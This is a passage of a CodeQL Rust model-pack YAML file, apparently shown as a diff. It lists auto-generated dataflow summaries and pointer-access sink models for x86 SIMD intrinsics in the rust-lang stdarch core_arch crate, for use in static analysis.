"crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_broadcast_sd", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_broadcast_ss", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_load_pd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_load_ps", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_load_si256", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set1_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set1_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_pd", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_pd", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_pd", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_pd", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_pd", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_pd", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_store_pd", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_store_ps", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_store_si256", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm_broadcast_ss", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_andn_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_andn_u32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_blsi_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_blsmsk_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_blsr_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi2::_mulx_u32", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi2::_mulx_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi2::_mulx_u32", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi2::_mulx_u32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::rtm::_xabort_code", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load1_pd", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load_pd1", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load_pd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load_sd", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load_si128", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadh_pd", "Argument[1].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadl_pd", "Argument[1].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set1_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set_pd1", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set_pd", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set_sd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_setr_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_setr_pd", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_store_pd", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_store_si128", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse3::_mm_loaddup_pd", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_MM_SHUFFLE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_MM_SHUFFLE", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_MM_SHUFFLE", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_MM_SHUFFLE", "Argument[3]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_load1_ps", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_load_ps1", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_load_ps", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_load_ss", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set1_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps1", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ss", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_setr_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_setr_ps", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_setr_ps", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_setr_ps", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_store_ps", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blcfill_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blci_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blcic_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blcmsk_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blcs_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blsfill_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blsic_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_t1mskc_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_tzmsk_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::avx512bw::_cvtmask64_u64", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::avx512bw::_cvtu64_mask64", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi2::_mulx_u64", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi2::_mulx_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi2::_mulx_u64", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi2::_mulx_u64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_andn_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_andn_u64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_blsi_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_blsmsk_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_blsr_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blcfill_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blci_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blcic_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blcmsk_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blcs_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blsfill_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blsic_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_t1mskc_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_tzmsk_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_load_mask32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_load_mask64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_loadu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_loadu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_storeu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_storeu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_loadu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_loadu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_storeu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_storeu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_loadu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_loadu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_storeu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_storeu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_store_mask32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_store_mask64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_load_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_load_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_loadu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_loadu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_store_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_store_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_storeu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_storeu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_pd", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_ps", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_si512", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_pd", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_ps", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_si512", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_pd", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_ps", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_si512", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_pd", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_ps", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_si512", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_load_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_load_epi64", "Argument[0]", "pointer-access", "df-generated"] + - 